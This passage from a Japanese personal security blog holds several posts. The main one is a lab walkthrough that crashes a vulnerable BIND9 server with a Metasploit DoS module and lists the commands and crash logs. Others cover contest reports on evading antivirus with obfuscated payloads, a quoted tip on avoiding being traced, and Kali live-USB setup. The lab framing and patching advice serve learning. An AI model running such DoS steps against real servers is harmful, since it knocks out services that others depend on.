目的が先か、手段が先か
ここ最近、ずっと悩んでいた。
kali linuxは、とても便利なペネトレーションテスト用のOSだと思う。ツールも豊富で、2000個以上?用意されているらしい。もしこれを自分で全て一つずつインストールしていったらどんだけの労力なんだろうか?そう考えると本当に便利である。
しかし、この便利なツールがあるせいで自分は考えることを疎かにしてしまった。
「怠惰ですね」
Aというツールがあるから、この攻撃検証をしてみよう。
Bというツールを使って何かできないかな?
手段が先行してしまってる攻撃検証なんて選択肢の幅が狭い!
ナイフを持ってるから人を刺すの?
人を刺したいからナイフを手に取るの?
A社にDoS攻撃をしたいから、DoSツールを求めるんじゃないの?
前者の場合、先に手段が決まってしまてるからそのあとに手段が変更することなんてないと思う。でも後者の場合、まず目的があってその目的を達成するために手段を求めるから、その工程で見つかる手段は前者より選択肢が多いと思う。
人を刺したい → ナイフにする?杭にする?アイスピック?もっとエゲツない物?w
A社にDoS攻撃をしたい → ツールをネットから探す?ツールを自分でコーディングする?基本コマンドをうまく組み合わせる?
後者の方が、可能性は無限大に広がるのでは?
だから、これからの攻撃検証は「便利なツールを見つけたから、それを活用する攻撃検証」といった考え方ではなく、「こんなことをしたい!そのためには何をどうすれば良いか?」と考えていきたい。
と、久しぶりのブログは心機一転の思考パターンを備忘録的に綴ってみた。
BIND9用のMetasploit Module を使ってみる【攻撃編】
準備ができたら攻撃検証開始!
攻撃環境
やられサーバ(CentOS 6.6)
- IP 192.168.10.21
攻撃側(Kali Linux)
- IP 192.168.10.20
やられサーバ側でBINDの起動を確認
ps awux | grep -v grep | grep bind
BINDの起動を確認できたら攻撃側へ
攻撃側でとりあえずnmapしてみた。
53番のオープンを確認
攻撃開始
msfconsole
use auxiliary/dos/dns/namedown
optionの確認
show options
optionsの入力
set RHOSTS 192.168.10.21
設定の確認
必要事項を入力したら実行!
run
攻撃が成功しているようなメッセージが表示される。
やられサーバ側を確認する。
ps awux | grep -v grep | grep bind
BINDの起動が確認できない。
ログの確認
cat /var/log/messages
Nov 13 21:48:57 dns-bind-server named[21461]: client 192.168.10.20#48681: request has invalid signature: TSIG xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.xXgKmatysB6ZVXaZAvnO3vHOCa5WkC0Ilc3tyBSyojzzTIbEa13AFZcmdlum6Nq.ZGiJyWKHqULvV9IY2sCflhqeyjVbt5agK3rf4E2FpuiMIdDyDT3OeVtzcAfW4: tsig verify failure (BADKEY)
攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返す。
Nov 13 21:48:58 dns-bind-server named[21461]: buffer.c:127: REQUIRE(b->used + n <= b->length) failed
buffer.cのREQUIRE(b->used + n <= b->length)でエラーになって failedと返している。
Nov 13 21:48:58 dns-bind-server named[21461]: exiting (due to assertion failure)
次の行ではassertion failureでexiting(終了)している。
ちなみに脆弱性の残っていないバージョンに対して攻撃をした場合
攻撃側
失敗してるようなメッセージ・・・。
やられ側
ログの確認
Nov 13 22:42:52 dns-bind-server named[15820]: client 192.168.10.20#44603: request has invalid signature: TSIG Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.Z5MFKBIdVnYWTamB4dlflgjkXQNSEryf4q628w9JDVwA04ZJT9abFZyPmTjZ7wb.0EYEI747SGaPV6RzJsPkst5S6TYTyAqmfEIvx9IGF1sBm4pmXu8ueYzoGy9dh: tsig verify failure (BADKEY)
攻撃側から不正なクエリを受信して、tsigがBADKEYということでfailureを返すけどbuffer.cのエラーを返したりしてBINDが停止することはない。
結論
出来ることならバージョンアップするのが良いと思う。それがダメならセカンダリを用意するなどして冗長化したほうがいいと思う。セカンダリは、BIND以外の名前解決サービスで運用するほうがいいかも。
それも、ダメならクーロンでサービスの死活監視をして停止したらすぐに管理者に通報すると同時に停止したサービスを起動するようにしたほうがいいかも。(個人的な意見です)
BIND9用のMetasploit Module を使ってみる【準備編】
久しぶりの脆弱性に対する攻撃検証をやってみる。
簡単にいうと脆弱性が残るBIND9に細工したクエリを送り込むとBIND9がサービスを停止するというものである。
影響の受けるバージョンは以下の通り
- BIND 9.0.x から 9.8.x までのバージョン
- BIND 9.9.0 から 9.9.9-P2 までのバージョン
- BIND 9.9.3-S1 から 9.9.9-S3 までのバージョン
- BIND 9.10.0 から 9.10.4-P2 までのバージョン
- BIND 9.11.0a1 から 9.11.0rc1 までのバージョン
対策として、ISCから以下のバージョンへのアップデートが推奨されている
- BIND 9.9.9-P3
- BIND 9.9.9-S5
- BIND 9.10.4-P3
- BIND 9.11.0rc3
準備したこと
1.やられ環境として、脆弱性が残るBIND9をインストールしたCentOS6.6を作る
やられサーバのOSとしてCentOS6.6を、BINDは9.10.1-P1を用意した。どちらも、ネットでダウンロード可能。
ちなみに手順等については、以下のサイトを参考にした。
CentOSをVMwareFusionにインストールして、落としてきたBIND9.10.1-P1をインストールする。
サービスを起動させて、起動を確認する。
2.例によってGitHubから持ってきたModuleを突っ込む
GitHubからBIND9の脆弱性を突く攻撃モジュールをダウンロードしてくる。
ダウンロードしてきたモジュール(namedown.rb)を~/.msfX/modules/auxiliary/dos/dns/ (Xには該当するバージョン)に配置する。(ディレクトリがない場合は適宜作成)
~/.msf4/modules/auxiliary/dos/dns/
とりあえずこれで準備は完了。
当たり前のことを当たり前のようにする 〜CODE BLUE Hack-a-Tronに参加して〜
先月20日、21日とCODE BLUEというイベントが開催されていました。セキュリティに関するイベントなんで是非参加したいなぁっと思っていたのですが、高いw なんたって早期割引でも税込41,040円、当日料金に至っては75,600円!まず、無理・・・。
そんなわけで最初から興味を持ちつつも何も気にすることなく過ごしていたらTLにこんなものが・・・
なに?
PCをハックする競技?
参加費無料!?
無料でビールを含むドリンク提供予定!?
とりあえず、登録だけしてみようかなw
コンテストのページを見てビックリですよ。
このコンテストでは、リアルタイムで皆様の攻撃の様子(ログ)を出力します(たまに大スクリーンに投影されます)。MCには上野宣氏をお迎えして、コメンテータと実況解説を行う他、コスプレコンパニオンがいます。ご来場の皆様には、挑戦者以外にも無料でお飲み物(ビール、ソフトドリンク)等をお配りする、新しいハッキングコンテストです。
賞金/賞品
賞品として、空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。
コスプレコンパニオン!?
空撮可能なドローン(1万円程度)を参加者全員にプレゼントします。
なんなのこのイベント?絶対に採算取れないよね・・・。でも、コスプレコンパニオンがいて、ビールが飲めて、ドローンがもらえるなら参加してみよう!仕事休んでも参加だ!!
と、いうわけで10月20日を迎えて参加してきましたw
午前10時30分頃の写真ですw ちゃんとビールもらえた!
この席からニコ生に放送されていました。
今日明日はハッカーコンテストにいるよっ💕✨
— 秋元るい@マシュマロ撮影会 (@akimoto_rui) 2016年10月20日
11:00-12:00,14:00-15:00の二回放送しますっ
秋元るいか美恋もこも出演するかも?!https://t.co/7iBLeS4XAm
#HackaTron2016
皆様チェックしてね💕 pic.twitter.com/Jrv46Dx76h
可愛いコスプレイヤーさんにも会えた!
とりあえず・・・当初の目標は達成したw
あとは、経験値稼ぎ程度に競技に参加して見事に散って帰ろうw
1日目の競技内容は、
競技参加者は自身のコンピュータを使って挑戦する個人戦です。Full Pursuitと呼ばれるカーネルの動きまで詳細に出力するロギングツール(※攻撃を防ぐような動作はしません)が入った4台のコンピュータが標的です。(尚、FULL PURSUITは警察庁に導入されています。)スイッチとLANケーブル(カテゴリ5e)は提供されます。競技参加者は自身のコンピュータとその他のデバイスを自由に使えます。競技は1時間の中でどれだけ多くの得点を獲得するかを競います。2回目にも連続出場OKです(同一端末を手配します)。
下記の攻撃は得点としてカウントします(2度めの同様の攻撃はカウントしません):
- スクリプトプロセスを用いた外部通信
- 管理者権限でのコマンド実行
- Windowsフォルダへのファイルの書き込み
- リモートデスクトップの有効化
- DEPのキャンセル
- 他のユーザメモリのエクスプロイト
- 他のシステムメモリを止める or エクスプロイト
- IDT (Interrupt Descriptor Table)の改ざん
- MBRの書き換え
競技ルール
競技の対象コンピュータの設定は下記の通り
-Toshiba Satellite Pro S750 Seriesに、コンテスト仕様のFull Pursuit(ロギングツール)、Windows 7 Professional 64bit SP1, Office 2010, Chrome, Firefox, Safari, Acrobat Reader, Java VM, Microsoft Security Essentials (最新版)
- 競技参加者にはゲストアカウントが与えられる
(失格につながる)違反行為
- 再起動、BSOD -- そこで即刻ゲームオーバー
- あらゆるデバイスの意図的な物理的破壊は失格となる
- OSの論理的破壊(起動しない)は失格となる
というルール。
とりあえず、競技開始して思った。最新版になっているWindows 7って思ったより強いね(T . T)
外からの通信は受け付けないし、当然、対策してないペイロードは速攻で処理されるし・・・。どうしましょうって感じでした。そんな中、実況では「もう何ポイントか取られてますね」「既に管理者権限を取得しているかもしれません」なんて煽るから焦る焦る。
単純に脆弱性なんてものは残っていなそうだし、なんかプログラムを動かしてメモリに割り込むなんて高等技術は持ち合わせてないので、まずはなんとかして持ち込んだPC上で動かしているKali Linuxと接続させようと考えた。
ルールでは、PCの接続も許可されいるし、USBの接続も禁止されていないので「Veil-Evasion」でペイロードを作成して、USBで対象端末にコピーして実行。難読化したペイロードを実行して、Metaplitorを動かして見た。
MetaplitorからMSE殺したり、指定されたファイルを実行したり、とりあえずnotepad.exeにインジェクションして見たりとやれることやって見たけど結局管理者権限は取れなかった(T . T)
だいぶ嫌になり始めていた頃のスクリーンショットw
指定されたポイントは、ほとんど取ることができなかったけど楽しく競技することができたし、新しい気付きも得ることができたから、参加してよかったと思う。
今回思ったことだが、パッチ当ててを最新版にする行為は、当たり前の事だけど結構後回しにされがち。確かにダウンロードに時間がかかったり、再起動を求められたりで面倒臭いけど、最新版にして脆弱性を無くしておくだけで攻撃者としては結構、躊躇しちゃうと思う。それに、仮にペイロード(バックドア)を埋め込まれてしまっても管理者権限を簡単に奪取されるわけではないと思う。(色々と条件もあると思うけど、今回みたいな場合はという事で)
よく言われる事だけど「当たり前のことを当たり前のようにする」というのは難しいけど大事だと今回見にしみてわかった。セキュリティに携わるものとして、お金かけなくても最低限の労力で、結構効果あるセキュリティとして「常に最新の状態にしておく」ことを推進したいです。
最後に・・・
ドローンは、美味しくいただきましたw
F.TRONさんありがとうございました!
ゆるそうでゆるくない勉強会 リターンズ
5ヶ月ぶりに「ゆるいハッキング大会 in TOKYO」に参加してきました。
第18回 ゆるいハッキング大会 in TOKYO 開催 | ITオフィスサポートとシステム開発|システムガーディアン AWSクラウド導入|東京都中央区八丁堀
前回よりも立地の良い会場で、茅場町駅の出口からすぐで迷子になる事なく会場に行けたw
そして、ビルの入り口でこんなものを発見!
うん!怪しいね!www
この日の内容は、以下のような感じと案内されていました。
今回は全3回開催の2回目になりますので、実践のための講演になります。毎回繰り返しておりますが、無線LANの実際のハッキングから攻撃をメインしております。第3回で無線LANをジャックしてWEBサーバー攻撃してWEBサイト改ざんとバックドアを仕掛けるまでが基本になりますので、当日は無線LANのジャックの手法コマンドレベルでレクチャーしていきます。今までの講演で環境による差異で躓くことが多かったので、こちらをメインに行ないます。また標的型攻撃を例もいくつかレクチャーしていきます。
前回は、全3回の3回目でいきなり実戦だっけど、今回は2回目だから座学&hands-onなのかな?って思っていたら、基本的に座学メインの内容でした。
参加者のレベル感としては初心者クラスが6〜7割を占めている感じでした。Kali Linuxをインストールしてきたつもりなのに起動できない人とか、そもそもLinuxを触り慣れていない人がいました。だから、教育のテンポも途中からゆっくりに切り替えられてToolの解説はほどほどに、次回使うであろう無線LANをジャックするToolや、CMSをアタックするToolの名前を紹介してあとは自分で調べてね〜的な感じで3時間が過ぎました。ある意味、初心者の人に優しい勉強会になるのかな?
講義の間、ずっと「ゆるい集まりだからお酒飲みながらでもいいですよ〜」って言われていたけど誰もアルコールを飲まないで、「ゆるいハッキング大会」とは言えないくらい真剣な表情で聞いてました。逆に何度も勧める講師が迎え酒という事でチューハイ飲みながら喋っていたのが唯一の「ゆるさ」w
次回、参加するときは飲んでようかな?でも、3回目だからガチだろうし、グループで実習するって言ってるのに飲んでていいのかな?w
ちょっと初心者さんよりの内容になったから物足りない感はあったけど、他では聞けない「攻撃者目線」の話を聞けて今回も大変良い刺激になりました!
今回から、ステッカーとバッジがもらえて、レベルを色分けする様子。
「ゆるいハッキング大会」でトップレベルを認定してもらえるように頑張ろうっと。
とある親父の侵入実験【Live USB】
あるセミナーで、こんな事を言われたのを思い出した。
「ハイスペックな高級ラップトップを使ってハッキングを繰り返してて、足がついた時どうする?」
確かに高いラップトップを使えば処理も早いと思うけど…、足がつくって発想は無かったな。と、言うか足がついて困る様な悪い事はしないから関係ないと思いたいところw
「アキバで、とりあえずBIOSが起動する程度の安いPCを買ってきて、USBブートのKaliで仕事する。ヤバくなったら速攻、PCだけぶっ壊してUSBを持って自分は逃げれば良いんだよ」
って、話にはリアリティを感じた。仕事でペネトレーションテストをしたり、攻撃検証をしている人と全く違う、ある意味「本物のプロ」な発想。厨二病のハートを擽ります。
別に悪い事しなくてもLive USB のKali Linuxには興味が湧いたので作成してみる。
オフィシャルから作成方法が出ているので参考にした。
Making a Kali Bootable USB Drive(KALI LINUX OFFCIAL DOCUMENTATION)
準備したもの
- MacBook Air macOS:Sierra
- USB 32G(USB3.0)
手順
Kali LinuxのダウンロードサイトからISOファイルをダウンロードする。
ディスクユーティリティで、準備しておいたUSBをフォーマットする。
フォーマットするディスクを間違えないようにする。
フォーマット形式は「MS-DOS(FAT)」 を選ぶ。あとはデフォルトもしくは、適当。
フォーマット完了
ターミナルを起動 → 以下のコマンドを入力してUSBのマウントされている所を確認する。
diskutil list
ここでは/dev/disk4にマウントされている。
ターミナルに
diskutil unmountDisk disk4
と入力してアンマウントする。「disk4」は状況に応じて読み換える。
次に
dd if=【ダウンロードしたKali Linuxのファイル名】.iso of=/dev/dsik4 bs=512k
と入力して処理が完了するまで待つ。完了すると
こんな情報が表示される。
次にUSBの中に保存領域を確保して変更内容を保存できるようにする。このままだとCDと変わらない。
システムを終了させて、作成したUSBを挿した状態でoptionを押しながらpower onする。
フォーマットがMS-DOS(FAT)だからWindows?とりあえずWindowsを選択して起動。
Liveで起動する。
起動したら端末を開いて
gparted
と入力する
右上のタブで、利用しているUSBを選択する。今回は32Gだから、/dev/sdbを選択した。
Fat16の領域があったら削除する。(unmount→delete)
unallocatedを選択して右クリック→new
Create new Partitonで以下のように設定する。
- File system「ext4」
- Label「persistence」
入力したらAddする。
Apply All Operationsを選択して処理を確定する。
本当にやっていいか?って感じの質問をApplyする。
/dev/sdb2が出来てる。
処理が完了したらgpartedを終了させて、端末から
mkdir -p /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
これで保存できるようになったので再起動する。
次からはUSB Persistenceを選ぶことで保存が可能になる。
秋田に行ってみた CSS2016
今回初めてCSS (Computer Security Symposium)2016というものに参加してみた。
会場が秋田というので、のんびり新幹線に揺られて行きました。
当然、長旅なのと今回の相方が、理解し難いオッさんという事もあって凹んでます。だから朝から飲みましたよ!(;_;)
凹む理由は、他にもあるんですけどね!(笑)
そんなこんなで新幹線で四時間ほど揺られたら秋田に到着です。
そして向かったのが秋田キャッスルホテル。名前だけだと何処ぞのラブホ?って気もしたけどしっかりとした真面目なホテルでした(笑)
CSSってのが、この中で何やってるかと言うとセキュリティに携わる大学の先生や、その学生さん、企業の研究者さんの研究論文を発表する場です。だか、実は公開処刑の場でもあった(笑)
雰囲気 その1
雰囲気 その2
雰囲気 その3
雰囲気 その4
学生さんや、プレゼン慣れしてない先生方が緊張しつつ研究成果を発表すると最後に恐怖の質問タイム。聞いていた同業者さんから、研究内容の完全否定から、そんな質問するなよーっていう低レベルな質問、とても紳士的で建設的な意見まで色々言われてました。発表者によっては質問責めにシドロモドロになってて、とても可哀想な感じでした。
いくら大発見してもこの場では発表したく無いかな(笑)
フロア内に分散する各会場へ向かう途中の廊下では、デモンストレーション・ポスターセッションという形で展示ブースもあった。でも、ここもやはり学会の展示ブース。手作り感あふれるブースで、良く言うと頭の良い学校の文化祭の雰囲気でしたね(笑)
メーカーさんの展示ブースと比較したらいけない。
それにしてもこのイベントは、参加者を太らせる気か?オヤツは食べ放題なんだよね…w
でもね、ちゃんと美味しくいただきましたよ!
とりあえず初めて参加した率直な意見としては、必要な話だけ聞いてようかなってところです。まだまだ課題の残る状態での発表もあるし、そもそも調査報告や、新しい発想みたいなものを聞いてもそこから何か作る程の時間もないですし。良く参加してるシンポジウムの様に完成された話では無いって事は、とても理解出来た。あと、事前に発表される論文は事前に読めるけれど、読んでもよくわからないし(笑)←高卒ですから。
昼間は難しい発表を聞いて時間ないから、夜になってからお城付近に行ったりウロウロしてた〜。昼間じゃないとよくわからないな。
冷え込んできたので宿の近くで、地酒の飲み比べしましたよ。
秋田、観光で来たかったなぁ…。